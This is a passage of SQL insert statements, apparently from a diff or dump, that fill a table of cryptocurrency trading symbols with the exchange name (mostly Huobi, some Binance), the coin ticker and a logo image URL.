'huobi', 'chad', 'CHAD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chadfi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1095, 'huobi', 'osmo', 'OSMO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/osmosis.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1096, 'huobi', 'dav', 'DAV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dav-network.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1097, 'huobi', 'ordi', 'ORDI', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1098, 'huobi', 'bpepe', 'BPEPE', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1099, 'huobi', 'meme', 'MEME', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/memetic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1100, 'huobi', 'turbo', 'TURBO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/turbocoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1101, 'huobi', 'bob', 'BOB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bobs-repair.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1102, 'huobi', 'pooh', 'POOH', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1103, 'huobi', 'ladys', 'LADYS', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1104, 'huobi', 'ars', 'ARS', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1105, 'huobi', 'soya', 'SOYA', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1106, 'huobi', 'brz', 'BRZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brz.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1107, 'huobi', 'pyg', 'PYG', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1108, 'huobi', 'acs', 'ACS', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1109, 'huobi', 'lhinu', 'LHINU', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1110, 'huobi', 'mong', 'MONG', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1111, 'huobi', 'capo', 'CAPO', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1112, 'huobi', 'tenet', 'TENET', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1113, 'huobi', 'deso', 'DESO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitclout.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1114, 'huobi', 'tox', 'TOX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trollbox.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1115, 'huobi', 'uyu', 'UYU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uyu.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1116, 'huobi', 'wstusdt', 'WSTUSDT', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1117, 'huobi', 'mnt', 'MNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mn-tracker.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1118, 'huobi', 'unibot', 'UNIBOT', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1119, 'binance', 'YGG', 'YGG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yield-guild-games.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1120, 'huobi', 'kyve', 'KYVE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/kyvenetwork.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1121, 'binance', 'DODOX', 'DODOX', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1122, 'huobi', 'btc', 'BTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1123, 'huobi', 'bch', 'BCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1124, 'huobi', 'eth', 'ETH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1125, 'huobi', 'xrp', 'XRP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1126, 'huobi', 'ltc', 'LTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1127, 'huobi', 'ada', 'ADA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cardano.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1128, 'huobi', 'eos', 'EOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1129, 'huobi', 'iota', 'IOTA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iota.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1130, 'huobi', 'xem', 'XEM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nem.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1131, 'huobi', 'xmr', 'XMR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monero.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1132, 'huobi', 'dash', 'DASH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1133, 'huobi', 'neo', 'NEO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1134, 'huobi', 'trx', 'TRX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1135, 'huobi', 'icx', 'ICX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1136, 'huobi', 'qtum', 'QTUM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/qtum.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1137, 'huobi', 'etc', 'ETC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-classic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1138, 'huobi', 'omg', 'OMG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omisego.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1139, 'huobi', 'zec', 'ZEC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1140, 'huobi', 'bts', 'BTS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitshares.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1141, 'huobi', 'waves', 'WAVES', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waves.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1142, 'huobi', 'knc', 'KNC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kyber-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1143, 'huobi', 'bat', 'BAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/basic-attention-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1144, 'huobi', 'zrx', 'ZRX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1145, 'huobi', 'mana', 'MANA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentraland.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1146, 'huobi', 'cvc', 'CVC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/civic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1147, 'huobi', 'mtl', 'MTL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metal.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1148, 'huobi', 'storj', 'STORJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storj.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1149, 'huobi', 'link', 'LINK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainlink.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1150, 'huobi', 'iost', 'IOST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iostoken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1151, 'huobi', 'theta', 'THETA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/theta-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1152, 'huobi', 'zil', 'ZIL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zilliqa.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1153, 'huobi', 'edu', 'EDU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-campus.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1154, 'huobi', 'blz', 'BLZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluzelle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1155, 'huobi', 'ont', 'ONT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ontology.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1156, 'huobi', 'dgb', 'DGB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digibyte.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1157, 'huobi', 'xlm', 'XLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/stellar.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1158, 'huobi', 'xvg', 'XVG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verge.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1159, 'huobi', 'bnb', 'BNB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1160, 'huobi', 'vet', 'VET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/vet.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1161, 'huobi', 'gtc', 'GTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1162, 'huobi', 'hot', 'HOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/holo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1163, 'huobi', 'ren', 'REN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/republic-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1164, 'huobi', 'usdc', 'USDC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usd-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1165, 'huobi', 'zen', 'ZEN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zencash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1166, 'huobi', 'xtz', 'XTZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tezos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1167, 'huobi', 'doge', 'DOGE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1168, 'huobi', 'sc', 'SC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/siacoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1169, 'huobi', 'atom', 'ATOM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cosmos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1170, 'huobi', 'rsr', 'RSR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/e405995612c6a280603e0e9187aa6190.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1171, 'huobi', 'nkn', 'NKN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nkn.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1172, 'huobi', 'apt', 'APT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aptos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1173, 'huobi', 'algo', 'ALGO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/algorand.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1174, 'huobi', 'ankr', 'ANKR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ankr-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1175, 'huobi', 'ftt', 'FTT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ftx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1176, 'huobi', 'arpa', 'ARPA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arpa.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1177, 'huobi', 'one', 'ONE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/harmony.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1178, 'huobi', 'ckb', 'CKB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/nervos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1179, 'huobi', 'ogn', 'OGN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origin-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1180, 'huobi', 'rvn', 'RVN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ravencoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1181, 'huobi', 'dot', 'DOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkadot-new.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1182, 'huobi', 'chr', 'CHR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d9875ce3cc365821560227f4e48969a6.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1183, 'huobi', 'ksm', 'KSM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kusama.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1184, 'huobi', 'klay', 'KLAY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/klaytn.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1185, 'huobi', 'bal', 'BAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/balancer.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1186, 'huobi', 'band', 'BAND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/band-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1187, 'huobi', 'ant', 'ANT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aragon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1188, 'huobi', 'mkr', 'MKR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maker.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1189, 'huobi', 'crv', 'CRV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/curve.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1190, 'huobi', 'trb', 'TRB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tellor.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1191, 'huobi', 'comp', 'COMP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/compound-governance-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1192, 'huobi', 'snx', 'SNX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/havven.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1193, 'huobi', 'yfi', 'YFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yearn-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1194, 'huobi', 'ach', 'ACH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alchemy-pay.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1195, 'huobi', 'sushi', 'SUSHI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sushi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1196, 'huobi', 'sand', 'SAND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-sandbox.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1197, 'huobi', 'lrc', 'LRC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loopring.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1198, 'huobi', 'uma', 'UMA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uma.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1199, 'huobi', 'uni', 'UNI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uniswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1200, 'huobi', 'avax', 'AVAX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/avalanche.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1201, 'huobi', 'bel', 'BEL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bella-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1202, 'huobi', 'perp', 'PERP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/perpetual-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1203, 'huobi', 'ar', 'AR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arweave.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1204, 'huobi', 'chz', 'CHZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chiliz.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1205, 'huobi', 'aave', 'AAVE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aavenew.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1206, 'huobi', 'hbar', 'HBAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedera-hashgraphiou.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1207, 'huobi', 'near', 'NEAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/near-iounear.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1208, 'huobi', 'fil', 'FIL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/filecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1209, 'huobi', 'inj', 'INJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/injective-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1210, 'huobi', 'woo', 'WOO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wootrade-network.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1211, 'huobi', 'sol', 'SOL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1212, 'huobi', 'kava', 'KAVA', NULL, NULL, 'http://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kava.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1213, 'huobi', 'iotx', 'IOTX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iotex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1214, 'huobi', 'skl', 'SKL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skale.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1215, 'huobi', 'grt', 'GRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-graph.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 